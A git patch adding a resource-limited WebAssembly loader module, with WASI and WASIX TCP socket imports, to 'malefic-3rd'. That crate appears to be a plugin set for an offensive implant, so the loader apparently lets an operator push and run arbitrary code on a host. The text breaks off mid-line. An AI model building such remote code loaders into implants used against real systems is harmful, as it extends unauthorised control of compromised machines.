From 1b285a6436a63e961c9dbbf0a88162fb323a713c Mon Sep 17 00:00:00 2001 From: M09Ic Date: Thu, 6 Aug 2026 23:53:06 +0800 Subject: [PATCH] feat: add wasmloader third-party module --- Cargo.lock | 66 +++ malefic-3rd/Cargo.toml | 5 +- malefic-3rd/README.md | 33 ++ malefic-3rd/src/lib.rs | 20 +- malefic-3rd/src/wasmloader/mod.rs | 51 ++ malefic-3rd/src/wasmloader/runtime.rs | 223 +++++++++ malefic-3rd/src/wasmloader/wasi.rs | 688 ++++++++++++++++++++++++++ malefic-3rd/src/wasmloader/wasix.rs | 592 ++++++++++++++++++++++ 8 files changed, 1673 insertions(+), 5 deletions(-) create mode 100644 malefic-3rd/README.md create mode 100644 malefic-3rd/src/wasmloader/mod.rs create mode 100644 malefic-3rd/src/wasmloader/runtime.rs create mode 100644 malefic-3rd/src/wasmloader/wasi.rs create mode 100644 malefic-3rd/src/wasmloader/wasix.rs diff --git a/Cargo.lock b/Cargo.lock index 55a1649a..c59d2b72 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1616,6 +1616,12 @@ dependencies = [ "hashbrown", ] +[[package]] +name = "indexmap-nostd" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e04e2fd2b8188ea827b32ef11de88377086d690286ab35747ef7f9bf3ccb590" + [[package]] name = "inout" version = "0.1.4" @@ -1757,6 +1763,12 @@ dependencies = [ "windows-targets 0.53.3", ] +[[package]] +name = "libm" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6d2cec3eae94f9f509c767b45932f1ada8350c4bdb85af2fcab4a3c14807981" + [[package]] name = "libredox" version = "0.1.10" @@ -1867,6 +1879,7 @@ dependencies = [ "futures", "futures-channel", "futures-timer", + "getrandom 0.2.16", "libc", "malefic-features", "malefic-gateway", @@ -1876,6 +1889,7 @@ dependencies = [ "malefic-runtime", "portable-pty", "ureq", + "wasmi", ] [[package]] @@ -2697,6 +2711,12 @@ checksum = "1a80800c0488c3a21695ea981a54918fbb37abf04f4d0720c453632255e2ff0e" name = "parking" version = "2.2.1" +[[package]] +name = "paste" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57c0d7b74b563b49d38dae00a0c37d4d6de9b432382b2892f0574ddcae73fd0a" + [[package]] name = "pbkdf2" version = "0.12.2" @@ -3489,6 +3509,12 @@ version = "1.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1b6b67fb9a61334225b5b790716f609cd58395f895b3fe8b328786812a40bc3b" +[[package]] +name = "spin" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" + [[package]] name = "stable_deref_trait" version = "1.2.0" @@ -3998,6 +4024,46 @@ dependencies = [ "unicode-ident", ] +[[package]] +name = "wasmi" +version = "0.31.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77a8281d1d660cdf54c76a3efa9ddd0c270cada1383a995db3ccb43d166456c7" +dependencies = [ + "smallvec", + "spin", + "wasmi_arena", + "wasmi_core", + "wasmparser-nostd", +] + +[[package]] +name = "wasmi_arena" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "104a7f73be44570cac297b3035d76b169d6599637631cf37a1703326a0727073" + +[[package]] +name = "wasmi_core" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dcf1a7db34bff95b85c261002720c00c3a6168256dcb93041d3fa2054d19856a" +dependencies = [ + "downcast-rs", + "libm", + "num-traits", + "paste", +] + +[[package]] +name = "wasmparser-nostd" +version = "0.100.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d5a015fe95f3504a94bb1462c717aae75253e39b9dd6c3fb1062c934535c64aa" +dependencies = [ + "indexmap-nostd", +] + [[package]] name = "web-sys" version = "0.3.77" diff --git a/malefic-3rd/Cargo.toml b/malefic-3rd/Cargo.toml index 9c2c5b47..35d33ee7 100644 --- a/malefic-3rd/Cargo.toml +++ b/malefic-3rd/Cargo.toml @@ -10,7 +10,7 @@ crate-type = ["cdylib", "rlib"] [features] default = ["full", "as_module_dll"] -full = ["rem", "curl", "pty"] +full = ["rem", "curl", "pty", "wasmloader"] as_module_dll = ["malefic-module/ffi"] host_bridge = ["malefic-features/runtime_tokio"] @@ -20,6 +20,7 @@ rem_dial = [] load_rem = [] rem = ["malefic-rem/rem", "malefic-rem/rem_static", "rem_dial", "memory_dial"] pty = ["portable-pty", "futures-timer"] +wasmloader = ["dep:getrandom", "dep:wasmi"] [dependencies] malefic-gateway = { workspace = true } @@ -34,9 +35,11 @@ anyhow = { workspace = true } futures = { workspace = true } futures-channel = { workspace = true } futures-timer = { workspace = true, optional = true } +getrandom = { workspace = true, optional = true } ureq = { version = "2.12", default-features = false, optional = true } portable-pty = { version = "0.8", optional = true } +wasmi = { version = "0.31", optional = true, default-features = false } [dev-dependencies] ureq = "2.12" diff --git a/malefic-3rd/README.md b/malefic-3rd/README.md new file mode 100644 index 00000000..d1e6aa75 --- /dev/null +++ b/malefic-3rd/README.md @@ -0,0 +1,33 @@ +# malefic-3rd + +## wasmloader + +The optional `wasmloader` feature registers a `wasmloader` module that executes +WASI-compatible WebAssembly bytecode with the `wasmi` interpreter. It also +implements the `wasix_32v1` IPv4 TCP socket imports emitted by the REM TinyGo +build. + +The interpreter dependencies are feature-gated: default `full` builds include +them, while minimal builds can omit the entire WASM runtime. + +The module accepts an `ExecuteBinary` request: + +| Field | Meaning | +| --- | --- | +| `bin` | WebAssembly bytecode | +| `entry_point` | Exported no-argument function; defaults to `_start` | +| `name` | WASI `argv[0]`; defaults to `wasmloader` | +| `args` | Remaining WASI arguments | +| `param` | WASI environment variables and the reserved limits below | +| `data` | Standard input | + +Reserved `param` keys: + +| Key | Default | Maximum | +| --- | ---: | ---: | +| `fuel` | 50,000,000 | 1,000,000,000 | +| `memory_limit` | 64 MiB | 256 MiB | +| `output_limit` | 16 MiB | 64 MiB | + +The result is returned as `BinaryResponse`: `data` is stdout, `message` is +stderr, and `status` is the WASI exit code. Filesystem access is not exposed. diff --git a/malefic-3rd/src/lib.rs b/malefic-3rd/src/lib.rs index c187b67d..8b16473d 100644 --- a/malefic-3rd/src/lib.rs +++ b/malefic-3rd/src/lib.rs @@ -9,6 +9,9 @@ mod curl; #[cfg(feature = "pty")] mod pty; +#[cfg(feature = "wasmloader")] +mod wasmloader; + use prelude::*; use std::collections::HashMap; @@ -26,13 +29,22 @@ pub extern "C" fn register_3rd() -> MaleficBundle { #[cfg(feature = "pty")] register_module!(map, "pty", pty::Pty); + #[cfg(feature = "wasmloader")] + register_module!(map, "wasmloader", wasmloader::WasmLoader); + map } #[cfg(feature = "as_module_dll")] malefic_module::register_rt_modules!( - #[cfg(feature = "rem")] rem::RemDial, - #[cfg(feature = "rem")] rem::MemoryDial, - #[cfg(feature = "curl")] curl::Curl, - #[cfg(feature = "pty")] pty::Pty + #[cfg(feature = "rem")] + rem::RemDial, + #[cfg(feature = "rem")] + rem::MemoryDial, + #[cfg(feature = "curl")] + curl::Curl, + #[cfg(feature = "pty")] + pty::Pty, + #[cfg(feature = "wasmloader")] + wasmloader::WasmLoader ); diff --git a/malefic-3rd/src/wasmloader/mod.rs b/malefic-3rd/src/wasmloader/mod.rs new file mode 100644 index 00000000..978bbe0a --- /dev/null +++ b/malefic-3rd/src/wasmloader/mod.rs @@ -0,0 +1,51 @@ +//! Resource-limited loader for WASI-compatible WebAssembly bytecode. +//! +//! The module consumes an `ExecuteBinary` body. `bin` contains the module, +//! `entry_point` defaults to `_start`, `name` becomes WASI `argv[0]`, `args` +//! are appended to the argument vector, `data` is exposed as stdin, and +//! `param` entries become environment variables. The reserved `fuel`, +//! `memory_limit`, and `output_limit` parameters configure runtime limits. + +mod runtime; +mod wasi; +mod wasix; + +use crate::prelude::*; +use async_trait::async_trait; +use malefic_proto::proto::modulepb::BinaryResponse; + +pub struct WasmLoader; + +#[async_trait] +#[module_impl("wasmloader")] +impl Module for WasmLoader {} + +#[async_trait] +impl ModuleImpl for WasmLoader { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let request = check_request!(receiver, Body::ExecuteBinary)?; + let options = runtime::RuntimeOptions::new( + request.name, + request.entry_point, + request.args, + request.param, + request.data, + ) + .map_err(anyhow::Error::msg)?; + let result = runtime::execute(&request.bin, options).map_err(anyhow::Error::msg)?; + + Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(BinaryResponse { + status: result.exit_code, + message: result.stderr.clone(), + data: result.stdout, + err: if result.exit_code == 0 { + String::new() + } else { + String::from_utf8_lossy(&result.stderr).into_owned() + }, + }), + )) + } +} diff --git a/malefic-3rd/src/wasmloader/runtime.rs b/malefic-3rd/src/wasmloader/runtime.rs new file mode 100644 index 00000000..df4722df --- /dev/null +++ b/malefic-3rd/src/wasmloader/runtime.rs @@ -0,0 +1,223 @@ +use super::wasi; +use std::collections::HashMap; +use wasmi::core::Trap; +use wasmi::{Config, Engine, Instance, Linker, Module as WasmiModule, Store, StoreLimitsBuilder}; + +const DEFAULT_ENTRY_POINT: &str = "_start"; +const DEFAULT_FUEL: u64 = 50_000_000; +const MAX_FUEL: u64 = 1_000_000_000; +const DEFAULT_MEMORY_LIMIT: usize = 64 * 1024 * 1024; +const MAX_MEMORY_LIMIT: usize = 256 * 1024 * 1024; +const DEFAULT_OUTPUT_LIMIT: usize = 16 * 1024 * 1024; +const MAX_OUTPUT_LIMIT: usize = 64 * 1024 * 1024; + +pub(super) struct RuntimeOptions { + program_name: String, + entry_point: String, + args: Vec, + env: Vec<(String, String)>, + stdin: Vec, + fuel: u64, + memory_limit: usize, + output_limit: usize, +} + +impl RuntimeOptions { + pub(super) fn new( + program_name: String, + entry_point: String, + args: Vec, + params: HashMap, + stdin: Vec, + ) -> Result { + let fuel = parse_limit(¶ms, "fuel", DEFAULT_FUEL, MAX_FUEL)?; + let memory_limit = parse_limit( + ¶ms, + "memory_limit", + DEFAULT_MEMORY_LIMIT as u64, + MAX_MEMORY_LIMIT as u64, + )? as usize; + let output_limit = parse_limit( + ¶ms, + "output_limit", + DEFAULT_OUTPUT_LIMIT as u64, + MAX_OUTPUT_LIMIT as u64, + )? as usize; + + let mut env: Vec<_> = params + .iter() + .filter(|(key, _)| !matches!(key.as_str(), "fuel" | "memory_limit" | "output_limit")) + .map(|(key, value)| (key.clone(), value.clone())) + .collect(); + env.sort_unstable_by(|left, right| left.0.cmp(&right.0)); + + Ok(Self { + program_name: if program_name.is_empty() { + "wasmloader".to_string() + } else { + program_name + }, + entry_point: if entry_point.is_empty() { + DEFAULT_ENTRY_POINT.to_string() + } else { + entry_point + }, + args, + env, + stdin, + fuel, + memory_limit, + output_limit, + }) + } +} + +#[derive(Debug)] +pub(super) struct WasmExecution { + pub(super) exit_code: i32, + pub(super) stdout: Vec, + pub(super) stderr: Vec, +} + +pub(super) fn execute(wasm: &[u8], options: RuntimeOptions) -> Result { + if wasm.is_empty() { + return Err("WASM bytecode is empty".to_string()); + } + let mut config = Config::default(); + config.consume_fuel(true); + let engine = Engine::new(&config); + let module = WasmiModule::new(&engine, wasm) + .map_err(|error| format!("failed to parse WASM module: {error}"))?; + + let limits = StoreLimitsBuilder::new() + .memory_size(options.memory_limit) + .instances(1) + .memories(1) + .build(); + let state = wasi::WasiState::new( + options.program_name, + options.args, + options.env, + options.stdin, + limits, + options.output_limit, + ); + let mut store = Store::new(&engine, state); + store.limiter(|state| &mut state.limits); + store + .add_fuel(options.fuel) + .map_err(|error| format!("failed to configure WASM fuel: {error}"))?; + + let mut linker = Linker::new(&engine); + wasi::register(&mut linker) + .map_err(|error| format!("failed to register WASI imports: {error}"))?; + super::wasix::register(&mut linker) + .map_err(|error| format!("failed to register WASIX imports: {error}"))?; + let instance = linker + .instantiate(&mut store, &module) + .map_err(|error| format!("failed to instantiate WASM module: {error}"))? + .start(&mut store) + .map_err(|error| format!("failed to start WASM module: {error}"))?; + + let exit_code = call_entry(&instance, &mut store, &options.entry_point)?; + let state = store.into_data(); + Ok(WasmExecution { + exit_code, + stdout: state.stdout, + stderr: state.stderr, + }) +} + +fn call_entry( + instance: &Instance, + store: &mut Store, + entry_point: &str, +) -> Result { + if let Ok(function) = instance.get_typed_func::<(), ()>(&*store, entry_point) { + return match function.call(store, ()) { + Ok(()) => Ok(0), + Err(error) => handle_call_error(error), + }; + } + + if let Ok(function) = instance.get_typed_func::<(), i32>(&*store, entry_point) { + return match function.call(store, ()) { + Ok(status) => Ok(status), + Err(error) => handle_call_error(error), + }; + } + + Err(format!( + "WASM entry point '{entry_point}' was not found or has an unsupported signature" + )) +} + +fn handle_call_error(error: Trap) -> Result { + if let Some(status) = error.i32_exit_status() { + return Ok(status); + } + Err(format!("WASM execution failed: {error}")) +} + +fn parse_limit( + params: &HashMap, + key: &str, + default: u64, + maximum: u64, +) -> Result { + let Some(value) = params.get(key) else { + return Ok(default); + }; + let parsed = value + .parse::() + .map_err(|_| format!("invalid {key} value '{value}'"))?; + if parsed == 0 || parsed > maximum { + return Err(format!("{key} must be between 1 and {maximum}")); + } + Ok(parsed) +} + +#[cfg(test)] +mod tests { + use super::*; + + const EMPTY_START_MODULE: &[u8] = &[ + 0x00, 0x61, 0x73, 0x6D, 0x01, 0x00, 0x00, 0x00, 0x01, 0x04, 0x01, 0x60, 0x00, 0x00, 0x03, + 0x02, 0x01, 0x00, 0x07, 0x0A, 0x01, 0x06, 0x5F, 0x73, 0x74, 0x61, 0x72, 0x74, 0x00, 0x00, + 0x0A, 0x04, 0x01, 0x02, 0x00, 0x0B, + ]; + + fn options() -> RuntimeOptions { + RuntimeOptions { + program_name: "test".to_string(), + entry_point: DEFAULT_ENTRY_POINT.to_string(), + args: Vec::new(), + env: Vec::new(), + stdin: Vec::new(), + fuel: DEFAULT_FUEL, + memory_limit: DEFAULT_MEMORY_LIMIT, + output_limit: DEFAULT_OUTPUT_LIMIT, + } + } + + #[test] + fn executes_no_arg_start_function() { + let result = execute(EMPTY_START_MODULE, options()).unwrap(); + assert_eq!(result.exit_code, 0); + assert!(result.stdout.is_empty()); + assert!(result.stderr.is_empty()); + } + + #[test] + fn rejects_invalid_bytecode() { + let error = execute(b"not-wasm", options()).unwrap_err(); + assert!(error.contains("failed to parse WASM module")); + } + + #[test] + fn validates_runtime_limits() { + let mut params = HashMap::new(); + params.insert("fuel".to_string(), "0".to_string()); + assert!(parse_limit(¶ms, "fuel", DEFAULT_FUEL, MAX_FUEL).is_err()); + } +} diff --git a/malefic-3rd/src/wasmloader/wasi.rs b/malefic-3rd/src/wasmloader/wasi.rs new file mode 100644 index 00000000..2a78599a --- /dev/null +++ b/malefic-3rd/src/wasmloader/wasi.rs @@ -0,0 +1,688 @@ +use super::wasix::SocketState; +use std::ops::Range; +use std::time::{SystemTime, UNIX_EPOCH}; +use wasmi::core::Trap; +use wasmi::errors::LinkerError; +use wasmi::{Caller, Linker, Memory, StoreLimits}; + +pub(super) const ERRNO_SUCCESS: i32 = 0; +pub(super) const ERRNO_AGAIN: i32 = 6; +pub(super) const ERRNO_BADF: i32 = 8; +pub(super) const ERRNO_FAULT: i32 = 21; +pub(super) const ERRNO_INPROGRESS: i32 = 26; +pub(super) const ERRNO_INVAL: i32 = 28; +pub(super) const ERRNO_IO: i32 = 29; +pub(super) const ERRNO_NOENT: i32 = 44; +pub(super) const ERRNO_NOSYS: i32 = 52; + +const IOV_SIZE: usize = 8; +const SUBSCRIPTION_SIZE: usize = 48; +const EVENT_SIZE: usize = 32; +const MAX_HOST_SLEEP: std::time::Duration = std::time::Duration::from_secs(1); + +pub(super) struct WasiState { + args: Vec>, + env: Vec>, + stdin: Vec, + stdin_offset: usize, + pub(super) stdout: Vec, + pub(super) stderr: Vec, + pub(super) limits: StoreLimits, + pub(super) sockets: SocketState, + output_limit: usize, +} + +impl WasiState { + pub(super) fn new( + program_name: String, + args: Vec, + env: Vec<(String, String)>, + stdin: Vec, + limits: StoreLimits, + output_limit: usize, + ) -> Self { + let args = std::iter::once(program_name) + .chain(args) + .map(String::into_bytes) + .collect(); + let env = env + .into_iter() + .map(|(key, value)| format!("{key}={value}").into_bytes()) + .collect(); + Self { + args, + env, + stdin, + stdin_offset: 0, + stdout: Vec::new(), + stderr: Vec::new(), + limits, + sockets: SocketState::default(), + output_limit, + } + } +} + +pub(super) fn register(linker: &mut Linker) -> Result<(), LinkerError> { + linker.func_wrap( + "wasi_snapshot_preview1", + "fd_write", + |mut caller: Caller<'_, WasiState>, + fd: i32, + iovs_ptr: i32, + iovs_len: i32, + written_ptr: i32| + -> i32 { fd_write(&mut caller, fd, iovs_ptr, iovs_len, written_ptr) }, + )?; + linker.func_wrap( + "wasi_snapshot_preview1", + "fd_read", + |mut caller: Caller<'_, WasiState>, + fd: i32, + iovs_ptr: i32, + iovs_len: i32, + read_ptr: i32| + -> i32 { fd_read(&mut caller, fd, iovs_ptr, iovs_len, read_ptr) }, + )?; + linker.func_wrap( + "wasi_snapshot_preview1", + "args_sizes_get", + |mut caller: Caller<'_, WasiState>, count_ptr: i32, size_ptr: i32| -> i32 { + vector_sizes(&mut caller, VectorKind::Args, count_ptr, size_ptr) + }, + )?; + linker.func_wrap( + "wasi_snapshot_preview1", + "args_get", + |mut caller: Caller<'_, WasiState>, pointers: i32, buffer: i32| -> i32 { + vector_get(&mut caller, VectorKind::Args, pointers, buffer) + }, + )?; + linker.func_wrap( + "wasi_snapshot_preview1", + "environ_sizes_get", + |mut caller: Caller<'_, WasiState>, count_ptr: i32, size_ptr: i32| -> i32 { + vector_sizes(&mut caller, VectorKind::Env, count_ptr, size_ptr) + }, + )?; + linker.func_wrap( + "wasi_snapshot_preview1", + "environ_get", + |mut caller: Caller<'_, WasiState>, pointers: i32, buffer: i32| -> i32 { + vector_get(&mut caller, VectorKind::Env, pointers, buffer) + }, + )?; + linker.func_wrap( + "wasi_snapshot_preview1", + "clock_time_get", + |mut caller: Caller<'_, WasiState>, _clock: i32, _precision: i64, time_ptr: i32| -> i32 { + let nanos = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap_or_default() + .as_nanos() as u64; + write_u64(&mut caller, time_ptr, nanos) + }, + )?; + linker.func_wrap( + "wasi_snapshot_preview1", + "clock_res_get", + |mut caller: Caller<'_, WasiState>, _clock: i32, resolution_ptr: i32| -> i32 { + write_u64(&mut caller, resolution_ptr, 1) + }, + )?; + linker.func_wrap( + "wasi_snapshot_preview1", + "random_get", + |mut caller: Caller<'_, WasiState>, buffer_ptr: i32, buffer_len: i32| -> i32 { + let Some(memory) = memory(&caller) else { + return ERRNO_FAULT; + }; + let data = memory.data_mut(&mut caller); + let Ok(range) = checked_range(buffer_ptr, buffer_len, data.len()) else { + return ERRNO_FAULT; + }; + result_errno(getrandom::getrandom(&mut data[range]), ERRNO_IO) + }, + )?; + linker.func_wrap( + "wasi_snapshot_preview1", + "proc_exit", + |_caller: Caller<'_, WasiState>, status: i32| -> Result<(), Trap> { + Err(Trap::i32_exit(status)) + }, + )?; + + register_fd_metadata(linker)?; + register_path_stubs(linker)?; + register_poll(linker)?; + Ok(()) +} + +fn fd_write( + caller: &mut Caller<'_, WasiState>, + fd: i32, + iovs_ptr: i32, + iovs_len: i32, + written_ptr: i32, +) -> i32 { + if fd != 1 && fd != 2 { + return ERRNO_BADF; + } + let Some(memory) = memory(caller) else { + return ERRNO_FAULT; + }; + let (data, state) = memory.data_and_store_mut(&mut *caller); + let Ok(iovs_len) = usize::try_from(iovs_len) else { + return ERRNO_INVAL; + }; + let mut total = 0usize; + for index in 0..iovs_len { + let Some(iov_offset) = (iovs_ptr as usize).checked_add(index.saturating_mul(IOV_SIZE)) + else { + return ERRNO_FAULT; + }; + let Ok(buffer_ptr) = read_u32(data, iov_offset) else { + return ERRNO_FAULT; + }; + let Ok(buffer_len) = read_u32(data, iov_offset + 4) else { + return ERRNO_FAULT; + }; + let Ok(range) = checked_range_u32(buffer_ptr, buffer_len, data.len()) else { + return ERRNO_FAULT; + }; + if !output_fits( + state.stdout.len(), + state.stderr.len(), + range.len(), + state.output_limit, + ) { + return ERRNO_IO; + } + if fd == 1 { + state.stdout.extend_from_slice(&data[range.clone()]); + } else { + state.stderr.extend_from_slice(&data[range.clone()]); + } + total = match total.checked_add(range.len()) { + Some(total) => total, + None => return ERRNO_INVAL, + }; + } + let Ok(total) = u32::try_from(total) else { + return ERRNO_INVAL; + }; + write_u32_data(data, written_ptr, total) +} + +fn output_fits(stdout: usize, stderr: usize, additional: usize, limit: usize) -> bool { + stdout + .checked_add(stderr) + .and_then(|length| length.checked_add(additional)) + .map_or(false, |length| length <= limit) +} + +fn fd_read( + caller: &mut Caller<'_, WasiState>, + fd: i32, + iovs_ptr: i32, + iovs_len: i32, + read_ptr: i32, +) -> i32 { + if fd != 0 { + return ERRNO_BADF; + } + let Some(memory) = memory(caller) else { + return ERRNO_FAULT; + }; + let (data, state) = memory.data_and_store_mut(&mut *caller); + let Ok(iovs_len) = usize::try_from(iovs_len) else { + return ERRNO_INVAL; + }; + let mut total = 0usize; + for index in 0..iovs_len { + let Some(iov_offset) = (iovs_ptr as usize).checked_add(index.saturating_mul(IOV_SIZE)) + else { + return ERRNO_FAULT; + }; + let Ok(buffer_ptr) = read_u32(data, iov_offset) else { + return ERRNO_FAULT; + }; + let Ok(buffer_len) = read_u32(data, iov_offset + 4) else { + return ERRNO_FAULT; + }; + let Ok(range) = checked_range_u32(buffer_ptr, buffer_len, data.len()) else { + return ERRNO_FAULT; + }; + let remaining = &state.stdin[state.stdin_offset..]; + let count = remaining.len().min(range.len()); + data[range.start..range.start + count].copy_from_slice(&remaining[..count]); + state.stdin_offset += count; + total += count; + if count < range.len() { + break; + } + } + let Ok(total) = u32::try_from(total) else { + return ERRNO_INVAL; + }; + write_u32_data(data, read_ptr, total) +} + +#[derive(Clone, Copy)] +enum VectorKind { + Args, + Env, +} + +fn vector_sizes( + caller: &mut Caller<'_, WasiState>, + kind: VectorKind, + count_ptr: i32, + size_ptr: i32, +) -> i32 { + let Some(memory) = memory(caller) else { + return ERRNO_FAULT; + }; + let (data, state) = memory.data_and_store_mut(&mut *caller); + let values = vector(state, kind); + let Ok(count) = u32::try_from(values.len()) else { + return ERRNO_INVAL; + }; + let size = values.iter().try_fold(0usize, |total, value| { + total.checked_add(value.len().saturating_add(1)) + }); + let Some(size) = size.and_then(|size| u32::try_from(size).ok()) else { + return ERRNO_INVAL; + }; + let result = write_u32_data(data, count_ptr, count); + if result != ERRNO_SUCCESS { + return result; + } + write_u32_data(data, size_ptr, size) +} + +fn vector_get( + caller: &mut Caller<'_, WasiState>, + kind: VectorKind, + pointers_ptr: i32, + buffer_ptr: i32, +) -> i32 { + let Some(memory) = memory(caller) else { + return ERRNO_FAULT; + }; + let (data, state) = memory.data_and_store_mut(&mut *caller); + let values = vector(state, kind); + let Ok(mut cursor) = usize::try_from(buffer_ptr) else { + return ERRNO_FAULT; + }; + let Ok(pointers_start) = usize::try_from(pointers_ptr) else { + return ERRNO_FAULT; + }; + for (index, value) in values.iter().enumerate() { + let Some(pointer_offset) = pointers_start.checked_add(index.saturating_mul(4)) else { + return ERRNO_FAULT; + }; + let Ok(cursor_u32) = u32::try_from(cursor) else { + return ERRNO_FAULT; + }; + if write_u32_at(data, pointer_offset, cursor_u32).is_err() { + return ERRNO_FAULT; + } + let Some(end) = cursor.checked_add(value.len().saturating_add(1)) else { + return ERRNO_FAULT; + }; + if end > data.len() { + return ERRNO_FAULT; + } + data[cursor..cursor + value.len()].copy_from_slice(value); + data[cursor + value.len()] = 0; + cursor = end; + } + ERRNO_SUCCESS +} + +fn vector(state: &WasiState, kind: VectorKind) -> &[Vec] { + match kind { + VectorKind::Args => &state.args, + VectorKind::Env => &state.env, + } +} + +fn register_fd_metadata(linker: &mut Linker) -> Result<(), LinkerError> { + linker.func_wrap( + "wasi_snapshot_preview1", + "fd_close", + |mut caller: Caller<'_, WasiState>, fd: i32| -> i32 { + if (0..=2).contains(&fd) { + ERRNO_SUCCESS + } else if caller.data_mut().sockets.close(fd) { + ERRNO_SUCCESS + } else { + ERRNO_BADF + } + }, + )?; + linker.func_wrap( + "wasi_snapshot_preview1", + "fd_seek", + |_caller: Caller<'_, WasiState>, _fd: i32, _offset: i64, _whence: i32, _new: i32| -> i32 { + ERRNO_NOSYS + }, + )?; + linker.func_wrap( + "wasi_snapshot_preview1", + "fd_tell", + |_caller: Caller<'_, WasiState>, _fd: i32, _offset: i32| -> i32 { ERRNO_NOSYS }, + )?; + linker.func_wrap( + "wasi_snapshot_preview1", + "fd_sync", + |_caller: Caller<'_, WasiState>, fd: i32| -> i32 { + if (0..=2).contains(&fd) { + ERRNO_SUCCESS + } else { + ERRNO_BADF + } + }, + )?; + linker.func_wrap( + "wasi_snapshot_preview1", + "fd_fdstat_get", + |mut caller: Caller<'_, WasiState>, fd: i32, buffer_ptr: i32| -> i32 { + let file_type = if (0..=2).contains(&fd) { + 2 + } else if caller.data().sockets.contains(fd) { + 6 + } else { + return ERRNO_BADF; + }; + let Some(memory) = memory(&caller) else { + return ERRNO_FAULT; + }; + let data = memory.data_mut(&mut caller); + let Ok(range) = checked_range(buffer_ptr, 24, data.len()) else { + return ERRNO_FAULT; + }; + data[range.clone()].fill(0); + data[range.start] = file_type; + let rights = 0x1FFF_FFFFu64.to_le_bytes(); + data[range.start + 8..range.start + 16].copy_from_slice(&rights); + data[range.start + 16..range.start + 24].copy_from_slice(&rights); + ERRNO_SUCCESS + }, + )?; + linker.func_wrap( + "wasi_snapshot_preview1", + "fd_filestat_get", + |mut caller: Caller<'_, WasiState>, fd: i32, buffer_ptr: i32| -> i32 { + let file_type = if (0..=2).contains(&fd) { + 2 + } else if caller.data().sockets.contains(fd) { + 6 + } else { + return ERRNO_BADF; + }; + let Some(memory) = memory(&caller) else { + return ERRNO_FAULT; + }; + let data = memory.data_mut(&mut caller); + let Ok(range) = checked_range(buffer_ptr, 64, data.len()) else { + return ERRNO_FAULT; + }; + data[range.clone()].fill(0); + data[range.start + 16] = file_type; + ERRNO_SUCCESS + }, + )?; + linker.func_wrap( + "wasi_snapshot_preview1", + "fd_pread", + |mut caller: Caller<'_, WasiState>, + fd: i32, + _iovs: i32, + _iovs_len: i32, + _offset: i64, + read_ptr: i32| + -> i32 { + if fd != 0 { + return ERRNO_BADF; + } + write_u32(&mut caller, read_ptr, 0) + }, + )?; + linker.func_wrap( + "wasi_snapshot_preview1", + "fd_prestat_get", + |_caller: Caller<'_, WasiState>, _fd: i32, _buffer: i32| -> i32 { ERRNO_BADF }, + )?; + linker.func_wrap( + "wasi_snapshot_preview1", + "fd_prestat_dir_name", + |_caller: Caller<'_, WasiState>, _fd: i32, _path: i32, _path_len: i32| -> i32 { + ERRNO_BADF + }, + )?; + linker.func_wrap( + "wasi_snapshot_preview1", + "sched_yield", + |_caller: Caller<'_, WasiState>| -> i32 { ERRNO_SUCCESS }, + )?; + Ok(()) +} + +fn register_path_stubs(linker: &mut Linker) -> Result<(), LinkerError> { + linker.func_wrap( + "wasi_snapshot_preview1", + "path_filestat_get", + |_caller: Caller<'_, WasiState>, + _fd: i32, + _flags: i32, + _path: i32, + _path_len: i32, + _buffer: i32| + -> i32 { ERRNO_NOENT }, + )?; + linker.func_wrap( + "wasi_snapshot_preview1", + "path_open", + |_caller: Caller<'_, WasiState>, + _fd: i32, + _dir_flags: i32, + _path: i32, + _path_len: i32, + _open_flags: i32, + _base_rights: i64, + _inheriting_rights: i64, + _fd_flags: i32, + _opened_fd: i32| + -> i32 { ERRNO_NOENT }, + )?; + Ok(()) +} + +fn register_poll(linker: &mut Linker) -> Result<(), LinkerError> { + linker.func_wrap( + "wasi_snapshot_preview1", + "poll_oneoff", + |mut caller: Caller<'_, WasiState>, + input_ptr: i32, + output_ptr: i32, + subscriptions: i32, + events_ptr: i32| + -> i32 { + let Ok(subscriptions) = usize::try_from(subscriptions) else { + return ERRNO_INVAL; + }; + let Some(memory) = memory(&caller) else { + return ERRNO_FAULT; + }; + let data = memory.data(&caller); + let mut sleep_nanos = 0u64; + let mut ready = Vec::new(); + for index in 0..subscriptions { + let Some(offset) = + (input_ptr as usize).checked_add(index.saturating_mul(SUBSCRIPTION_SIZE)) + else { + return ERRNO_FAULT; + }; + if offset + SUBSCRIPTION_SIZE > data.len() { + return ERRNO_FAULT; + } + let event_type = data[offset + 8]; + if event_type == 0 { + let Ok(timeout) = read_u64(data, offset + 24) else { + return ERRNO_FAULT; + }; + sleep_nanos = sleep_nanos.max(timeout); + } else { + let Ok(fd) = read_u32(data, offset + 16) else { + return ERRNO_FAULT; + }; + if caller.data().sockets.poll_ready(fd as i32, event_type) { + ready.push(index); + } + } + } + if ready.is_empty() && sleep_nanos > 0 { + std::thread::sleep( + std::time::Duration::from_nanos(sleep_nanos).min(MAX_HOST_SLEEP), + ); + ready.extend((0..subscriptions).filter(|index| { + let offset = input_ptr as usize + index * SUBSCRIPTION_SIZE; + data[offset + 8] == 0 + })); + } + + let data = memory.data_mut(&mut caller); + for (event_index, input_index) in ready.iter().copied().enumerate() { + let input_offset = input_ptr as usize + input_index * SUBSCRIPTION_SIZE; + let output_offset = output_ptr as usize + event_index * EVENT_SIZE; + if input_offset + SUBSCRIPTION_SIZE > data.len() + || output_offset + EVENT_SIZE > data.len() + { + return ERRNO_FAULT; + } + data[output_offset..output_offset + EVENT_SIZE].fill(0); + let userdata = data[input_offset..input_offset + 8].to_vec(); + data[output_offset..output_offset + 8].copy_from_slice(&userdata); + data[output_offset + 10] = data[input_offset + 